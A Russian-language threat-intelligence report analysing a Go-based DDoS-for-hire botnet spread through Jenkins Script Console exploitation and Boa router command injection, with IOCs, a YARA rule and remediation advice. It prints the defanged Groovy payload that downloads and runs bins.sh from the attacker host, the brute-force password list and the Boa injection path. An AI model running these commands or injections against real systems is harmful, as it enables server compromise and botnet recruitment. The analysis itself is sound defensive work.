malware · botnet · ddos · golang · iot · jenkins · honeypot · mirai
Кроссплатформенный DDoS-ботнет по найму на Go
Kinryū Labs проанализировала bot.exe — Windows-сборку скомпилированного на Go DDoS-ботнета, распространяемого в виде дроппер-набора из 11 бинарников под 13 архитектур и доставляемого в ходе многодневной кампании эксплуатации Jenkins Script Console. Разведка стейджинг-хоста выявила живой DDoS-API по найму с аутентификацией, командный SSH-канал на Go и соседствующее семейство родословной Mirai. Мы с высокой уверенностью оцениваем это как коммерческую DDoS-операцию по найму.
Автор Davis Zheng·
TLP:CLEAR. Согласовано к публикации. Образец и его дроппер-набор перехвачены сетью сенсоров-ловушек Kinryū Labs в ходе многодневной кампании эксплуатации Jenkins, наблюдавшейся на нескольких сенсорах. Захваченные бинарники анализировались статически и не запускались; стейджинг-хост оператора характеризовался активной внешней разведкой (перечисление сервисов, анонимный листинг FTP и неаутентифицированное зондирование открытого API), при этом ни одна аутентификация не обходилась. Индикаторы атакующего обезврежены.
Краткое резюме
- 13сборок под архитектуры, 11 уникальных бинарников
- 5именованных методов DDoS плюс API по найму
- 3скоординированных IP-источника в одном /22
- 2семейства ботнетов на одном хосте
bot.exe — это Windows-сборка под x86-64 скомпилированного на Go DDoS-ботнета, распространяемого в виде мультиархитектурного дроппер-набора. Сопутствующий shell-скрипт bins.sh подтягивает тринадцать сборок под архитектуры, одиннадцать из которых уникальны после дедупликации, охватывая 32- и 64-битный x86, четыре профиля ARM, ARM64, Android ARM64, а также MIPS с прямым и обратным порядком байтов, наряду с Windows-бинарником. Набор попал в сеть ловушек через эксплуатацию открытого сервера Jenkins.
Вредонос несёт пять именованных методов флуда (HTTP, TLS-хендшейк, ICMP, прямой TLS и объёмный метод под меткой VOULT), HTTP-флуд, который ротирует строки User-Agent браузеров и заголовки локали, чтобы походить на легитимный трафик, и полезные нагрузки командной инъекции, нацеленные на веб-сервер Boa на устройствах RealTek SDK для саморазмножения. Разведка стейджинг-хоста по адресу 185.226.93[.]242 выявила аутентифицированный DDoS-API по найму на порту 3333, реализованный на Go SSH-сервис на порту 2222 в роли командного канала и анонимный FTP-сервис, стейджащий второе семейство ботнета родословной Mirai/Gafgyt.
Kinryū Labs с высокой уверенностью оценивает, что bot.exe является частью вредоносного, саморазмножающегося, мультиархитектурного DDoS-ботнета, работающего как коммерческий сервис по найму. Оценку несут три находки: собственные строки бинарника с методами атак и эксплуатации; живой API по найму на стейджинг-хосте оператора, который валидирует параметры задания и требует аутентификации; и телеметрия ловушек об устойчивой многоузловой кампании, доставляющей этот набор.
- bot.exe — кроссплатформенный DDoS-ботнет на Go. Пять различных лог-строк методов флуда несут параметры цели и длительности, наряду с механикой имперсонации браузера и поддержкой SOCKS5, всё в необфусцированных строках и подтверждается живым API.
- Операция работает как коммерческий DDoS-сервис по найму. Стейджинг-хост открывает API на порту 3333, который валидирует параметры задания (
user,psw,host,method,time,port) и отклоняет неверные учётные данные. - Ботнет саморазмножается через командную инъекцию в IoT. Бинарник несёт полезную нагрузку командной инъекции для Boa
formSysCmd, путь брутфорса логина роутера и экспортируемые функцииloginDeviceиloginDeviceCaptcha, инъектируя тот же однострочник дроппера, что зафиксирован в логах ловушек. - Три IP-источника — один оператор. Три адреса в
185.226.92[.]0/22доставляли идентичные полезные нагрузки со скоординированным таймингом и общим списком учётных данных, а IP доставки и стейджинга предъявляют идентичные хост-ключи SSH, что указывает на один хост или клонированные образы.
Доставка: устойчивая кампания через Jenkins Script Console
Набор доставлялся через эксплуатацию инстанса Jenkins, открытого в интернет. Телеметрия ловушек зафиксировала устойчивый двухшаговый метод: GET /crumbIssuer/api/json для получения CSRF-токена, за которым следовал POST /script с полезной нагрузкой Groovy Script Console. Полезная нагрузка была идентична во всех попытках и здесь обезврежена:
println new ProcessBuilder('sh','-c',
'cd /tmp; wget hxxp://185.226.93[.]242:1001/bins.sh;
curl -O hxxp://185.226.93[.]242:1001/bins.sh;
chmod 777 *; ./bins.sh'
).redirectErrorStream(true).start().text
Запросы несли заголовок Authorization: Basic, циклически перебиравший короткий словарь слабых числовых паролей для учётной записи admin (admin:1123, admin:123451, admin:1231231, admin:1111111, admin:12345123), — признак автоматизированного списка учётных данных, а не прицельной аутентификации.
Кампания шла несколько дней повторяющимися волнами:
- Волна 1Первые зондирования: проверка CSRF-crumb, за которой следует Groovy RCE, со стейджинг-IP и второго адреса в том же блоке.
- Захват
bins.shи все тринадцать вариантов восстановлены на двух сенсорах с разницей примерно в четырнадцать часов, байт в байт идентичные на обоих. - Поздние волныПараллельная эксплуатация со всех трёх IP-источников в пределах минут друг от друга, с ротированными User-Agent.
Запросы эксплуатации ротировали большой набор реалистичных браузерных User-Agent, тогда как разведывательный обход в поисках новых целей Jenkins (запрос /login, за которым следует быстрая серия запросов /script) использовал стандартный Go-http-client/1.1. Подделанные User-Agent сопровождают полезные нагрузки эксплуатации; сканер использует нативный Go-клиент ботнета. Сам стейджинг- и C2-хост участвовал в эксплуатации, так что атакующая и хостинговая инфраструктура не разделены.
Вредонос: одна кодовая база на Go, одиннадцать бинарников
Написание бота на Go позволяет одной кодовой базе кросс-компилироваться под каждую цель, какую хочет оператор. Дроппер проходит по всей продуктовой линейке, подтягивая каждую сборку через wget, затем повторно через curl в качестве запасного варианта, помечая её исполняемой, запуская и удаляя. В набор входит Windows .exe, который Linux-дроппер всё равно прогоняет через chmod +x, а сгенерированная структура скрипта указывает на конвейер сборки и листинга. После дедупликации тринадцать сборок сводятся к одиннадцати уникальным бинарникам: сборки x86 и i386 совпадают, как и обобщённые сборки ARM и ARMv7. Разброс архитектур — от MIPS и устаревшего ARM до Android — обозначает ботнет, нацеленный на роутеры, камеры и другие встраиваемые устройства; Windows-сборка несёт тот же код на десктопы и серверы.
Бинарник не упакован (энтропия секций PE лежит между 5,4 и 6,3) и не лишён символов (Go build ID и рантайм-символы целы), так что его возможности лежат в открытых строках. Метка времени компиляции обнулена, что нормально для Go-сборок.
Пять методов флуда названы в лог-строках бинарника, каждый форматируется с целью и длительностью: флуд «HTTP (Optimized)», флуд истощения TLS/TCP «Handshake», ICMP-флуд «PING», прямой сессионный TLS-флуд «TLS+» и метод «VOULT», объёмный и, вероятно, на основе UDP. Присутствуют опции как прикладного, так и сетевого уровня.
HTTP-флуд построен так, чтобы сойти за легитимный трафик. Он ротирует более десяти строк User-Agent браузеров Chrome, Edge, Opera, Firefox и Safari на Windows, macOS, iPad и Android; пятнадцать локалей Accept-Language; и заголовки-отпечатки sec-fetch-* и sec-ch-ua-*, которые инспектируют сервисы защиты. Он устанавливает Referer из небольшого набора высокорепутационных сайтов (google.com, reddit.com, facebook.com, bing.com, twitter.com и fbi.gov). Одна запись в наборе User-Agent — это буквальная строка Hello World, разработческая заглушка, которая даёт чистую детекционную сигнатуру, потому что ни один легитимный клиент её не отправляет.
Размножение нацелено на веб-сервер Boa — небольшой встраиваемый HTTP-демон, до сих пор поставляемый на многих роутерах и камерах на базе RealTek SDK. Бинарник несёт полезную нагрузку командной инъекции для обработчика formSysCmd в Boa и путь брутфорса логина к админ-интерфейсам роутеров, с JSON-полями учётных данных и экспортируемыми функциями loginDevice и loginDeviceCaptcha. Инъектируемая команда — это однострочник дроппера, так что скомпрометированное устройство становится точкой доставки для следующего.
Вендоренные Go-модули — все стандартные пакеты golang.org/x, без слинкованного стороннего C2-фреймворка. Среди них chacha20poly1305, http2/hpack, dns/dnsmessage и http/httpproxy, что соответствует наблюдаемым возможностям: аутентифицированно-шифрованный канал, HTTP/2, сырой DNS и SOCKS5-проксирование (присутствуют строки socks5, socks connect и socksUsernamePassword). Конфигурация C2 подтягивается во время выполнения с hxxp://<C2>/config.dat; единственный жёстко заданный адрес в бинарнике — стейджинг-хост.
Инфраструктура управления и стейджинга
Разведка стейджинг-хоста выявила следующие сервисы:
| Порт | Сервис | Назначение |
|---|---|---|
| 21/tcp | vsftpd 3.0.3, анонимный вход включён | Стейджинг вредоноса (второе семейство, ниже) |
| 22/tcp | OpenSSH 9.2p1 (Debian) | Доступ оператора |
| 1001/tcp | Go-сервер net/http | Основной стейджинг: отдаёт bins.sh и варианты |
| 2222/tcp | Go SSH (SSH-2.0-Go) | Командный канал бота |
| 3333/tcp | Go-сервер net/http | DDoS-API по найму |
Две находки поддерживают оценку «по найму». IP доставки и стейджинг-хост предъявляют идентичные хост-ключи SSH ED25519, RSA и ECDSA, помещая их на одну машину или на образы, клонированные из одного шаблона, а Go SSH-сервис на порту 2222 предъявляет ключ, отличный от системного OpenSSH на порту 22, что помечает его как отдельное приложение, а не форвард. API на порту 3333 отклоняет запрос из-за отсутствующих параметров (user, psw, host, method, time/duration, port) и возвращает ошибку аутентификации для тестовых учётных данных, при этом все прочие пути возвращают 404. Это минимальный, аутентифицируемый на каждом запросе интерфейс коммерческого бутера, работающий на живой инфраструктуре.
Второе семейство на том же хосте
Анонимный FTP-сервис стейджит отдельное семейство ботнета, называемое здесь «boatnet» по его именам файлов. Его дроппер (ohshit1.sh) использует клиент ftpget из BusyBox, переименовывает каждый бинарник в WTF перед запуском и запускает сборки в фоне под пятнадцать архитектур, включая экзотические встраиваемые цели (ARC, m68k, SH4, SPARC) родословной Mirai/Gafgyt. Бинарники — скомпилированный на C ELF, лишённый символов и упакованный (энтропия от 7,6 до 7,9 без сигнатуры UPX, что указывает на кастомный упаковщик), так что при статическом разборе выживает немногое. Артефакты boatnet предшествуют набору bot.exe и работают на несвязанной кодовой базе, так что один хост стейджит два различных семейства ботнетов.
Хостинг
Оба IP атакующего попадают в 185.226.92[.]0/22, зарегистрированный на VPS-провайдера из Турции (имя сети BIGCORE-US, AS205196 / AS57152) через RIPE NCC, с abuse-контактом [email protected]. Мы идентифицируем хостинг-провайдера в целях уведомления и не делаем никаких утверждений о личности оператора.
Индикаторы компрометации
Инфраструктура атакующего обезврежена. Хеши образцов и детекционные строки несут «живые» значения по замыслу.
Сеть
| Индикатор | Контекст |
|---|---|
185.226.93[.]242 | Стейджинг- + C2-хост; также активный сканер |
185.226.92[.]110 | Основной сканер / узел доставки |
185.226.92[.]173 | Вторичный сканер |
185.226.92[.]0/22 | Хостинговое выделение (BIGCORE, AS205196). Разумный периметровый блок |
185.226.93[.]242:1001 | HTTP-стейджинг (bins.sh + варианты) |
185.226.93[.]242:2222 | Командный канал Go SSH |
185.226.93[.]242:3333 | DDoS-API по найму (/api, за параметрами) |
185.226.93[.]242:21 | Анонимный FTP, стейджинг boatnet |
hxxp://<C2>/config.dat | Паттерн подтягивания конфига C2 во время выполнения |
/boafrm/formSysCmd, /boafrm/formLogin | URI Boa RCE и брутфорса логина в исходящем размножении |
Хост-ключ SSH (ED25519) …INAjVN5fIlxTHxT4R3yqTS8… | Общий для IP доставки и C2; сводный индикатор |
Файлы
| Файл | SHA-256 |
|---|---|
bot.exe (Windows x64) | 4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804 |
bins.sh (дроппер) | 15f92c41e5f8ee6b2f6b7cfd14d2fc61bd4163a45d79c20a4d7974cb0fe68cf6 |
boatnet.0eem0a9ali (i386) | 6fbd581a3a6f1152de4090f0d5387258a905c76fb58f0d58191eae5f3d30421b |
boatnet.0t25ax67hl (x86-64) | 920b114325d372c387616ff971947b42087dc018bb4812cdf2adae6005c1382d |
- bot.exe MD5 / SHA-1 / imphash:
88efcb919000efb700a814fc23e31e3f/6817eae057adf831892995f514fca36c489fdd10/211e227000a1da3333aab2bad5282318 - Go Build ID:
euzQMg9dNAAGDYR0FLBy/NBlt-oXDyZN8MvU4a30l/8dJq21Cvc4y0nwb3h6ja/kYq23qQRIeCoh9BwgyGK
Полные хеши дроппер-набора (11 уникальных из 13 сборок)
| Сборка | SHA-256 | Размер (байт) |
|---|---|---|
amd64 | 3261921456e347fb40c2d0a605db61ee058020872486c844653696d03ebb7b70 | 5,919,119 |
x86 / i386 | 575eba4fffff7419985e4eef8e010c6c0a7dae00b23db45de895547faf2cc398 | 5,787,832 |
arm / armv7l | 9e6da804ae9ca0a07348e92d99416bcf3fc650ccbdf4a9b4db34f6d546ddfb10 | 5,898,424 |
arm5 | 365e22a1c1a77e5d88727ab6f8050548aa2170d3c2b4c8adcdfc1eb89eaea582 | 5,898,424 |
arm6 | 34186fba4b5a9c640517020d43a1ba70bdf59f1163867917950e2f7459a0839f | 5,898,424 |
arm64 | ada33a0316d364d1d3be6d23ca2e590c16db7d845795619935e42e53f9293f6b | 5,579,151 |
android_arm64 | 7d7210719451068df7906798f37ec8fd86a0dfc3df10bfa939e3d436c72346cf | 6,169,144 |
mips | 9200aac4a356190252dc6131f6b60d59367c522537258838c017266d0e3b48f5 | 6,619,351 |
mipsle | 14d62a04e97f20f2d087dcf41fb44e5597cd3d6fbe4a597229d6b3c79c8ecde7 | 6,619,351 |
bot.exe | 4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804 | 6,020,608 |
Артефакты хоста и учётных данных
- Словарь брутфорса Jenkins
admin:1123,123451,1231231,1111111,12345123. ohshit1.sh(дроппер boatnet) и бинарник, переименованный вWTFперед запуском.- Характерные User-Agent:
Hello World(HTTP-флуд бота) иGo-http-client/1.1(самосканирование бота).
Поведенческие
- Jenkins
GET /crumbIssuer/api/json, за которым следуетPOST /scriptс полезной нагрузкой GroovyProcessBuilder('sh','-c', …), подтягивающейbins.sh. - Исходящие запросы к хосту по пути
/config.dat, которым предшествует лог-строкаConnecting to CNC.... - Входящий
POST /boafrm/formSysCmdсsysCmdselect=5и теломwget … bins.sh.
Обнаружение
Строки стабильны и необфусцированы, так что сигнатуры прямолинейны. YARA-правило ниже — кандидат, построенный из проверенных строк; валидируйте перед развёртыванием.
rule go_ddos_bot_multiarch_candidate
{
meta:
description = "Candidate: Go-compiled multi-arch DDoS botnet (bot.exe family)"
author = "Kinryu Labs honeypot CTI"
reference = "4de4621f...e3804" // full SHA-256 in the IOC table
tlp = "CLEAR"
strings:
$cnc = "Connecting to CNC..." ascii
$cfg = "/config.dat" ascii
$atk1 = "HTTP (Optimized) Attack started" ascii
$atk2 = "VOULT attack" ascii
$atk3 = "Handshake Attack started" ascii
$boa = "/boafrm/formSysCmd" ascii
$iot = "loginDeviceCaptcha" ascii
$drop = "bins.sh" ascii
condition:
($cnc and $cfg) or ($boa and $drop) or (2 of ($atk1, $atk2, $atk3) and $iot)
}
Сетевое обнаружение:
- Jenkins: алерт на тела
POST /script, содержащиеProcessBuilderсwget/curlна сырой IP, особенно если им предшествуетGET /crumbIssuer/api/json. - Размножение в IoT:
content:"/boafrm/formSysCmd"; content:"sysCmdselect=5";. - Инфраструктура: блокируйте
185.226.92[.]0/22, покрывающий адреса доставки и C2, и алертите на исходящие подключения к портам 1001, 2222 и 3333 в этом диапазоне.
Ремедиация
- Не выставляйте Jenkins в интернет. Разместите его за аутентификацией и сетевой изоляцией, отключите Script Console для не-администраторов и считайте достижимый билд-сервер риском компрометации всего хоста. Это был вектор доставки.
- Обеспечьте надёжные учётные данные Jenkins и ограничьте скорость аутентификации. Кампания опиралась на короткий словарь слабых числовых паролей для
admin. - Сегментируйте или замените роутеры и IoT-устройства на базе RealTek/Boa и блокируйте внешний доступ к их админ-интерфейсам. Это цель размножения ботнета.
- Блокируйте хостинговое выделение (
185.226.92[.]0/22) на периметре и алертите на URI Boa RCE и паттерн подтягиванияconfig.dat. - Фильтруйте исходящий трафик. Хост, обращающийся к сырому IP на порту 1001 за файлами с именами архитектур, или подключающийся к портам 2222 или 3333 в этом диапазоне, аномален и обнаружим там, где хостовая детекция отсутствует.
- Уведомьте об инфраструктуре. О DDoS-API по найму и стейджинге вредоноса через FTP можно сообщить abuse-контакту хостинг-провайдера (
[email protected]).
Сопоставление с MITRE ATT&CK
| Тактика | Техника |
|---|---|
| Initial Access | T1190 Exploit Public-Facing Application (Jenkins Script Console; Boa formSysCmd для размножения) |
| Credential Access | T1110.001 Brute Force: Password Guessing (Jenkins admin); T1110.004 Credential Stuffing (логин IoT) |
| Execution | T1059 Command and Scripting Interpreter (Groovy через Script Console; дроппер на Unix shell) |
| Discovery | T1046 Network Service Scanning (самосканирование Jenkins/IoT); T1082 System Information Discovery; T1057 Process Discovery |
| Defense Evasion | T1036 Masquerading (ротация браузерных User-Agent; переименование boatnet в WTF) |
| Command and Control | T1071.001 Web Protocols (config.dat); T1573 Encrypted Channel (ChaCha20-Poly1305; Go SSH на 2222); T1571 Non-Standard Port (1001/2222/3333); T1090.001 Internal Proxy: SOCKS |
| Lateral Movement / Delivery | T1105 Ingress Tool Transfer (мультиархитектурный стейджинг) |
| Impact | T1498.001 Direct Network Flood (PING, VOULT); T1498.002 Reflection Amplification (истощение хендшейка) |
Методология и заметки
- Область: статический анализ захваченных бинарников, которые не запускались, и активная внешняя разведка стейджинг-хоста (перечисление сервисов и баннеров, анонимный листинг FTP и неаутентифицированное зондирование API на порту 3333). Ни одна аутентификация не обходилась.
- YARA-правило — кандидат, построенный из проверенных строк; валидируйте перед развёртыванием. Бинарники boatnet упакованы и дали мало строк.
- Образцы (набор bot.exe, дроппер и артефакты boatnet) доступны другим исследователям и защитникам по запросу. Напишите на [email protected] с короткой запиской о том, кто вы и зачем они вам.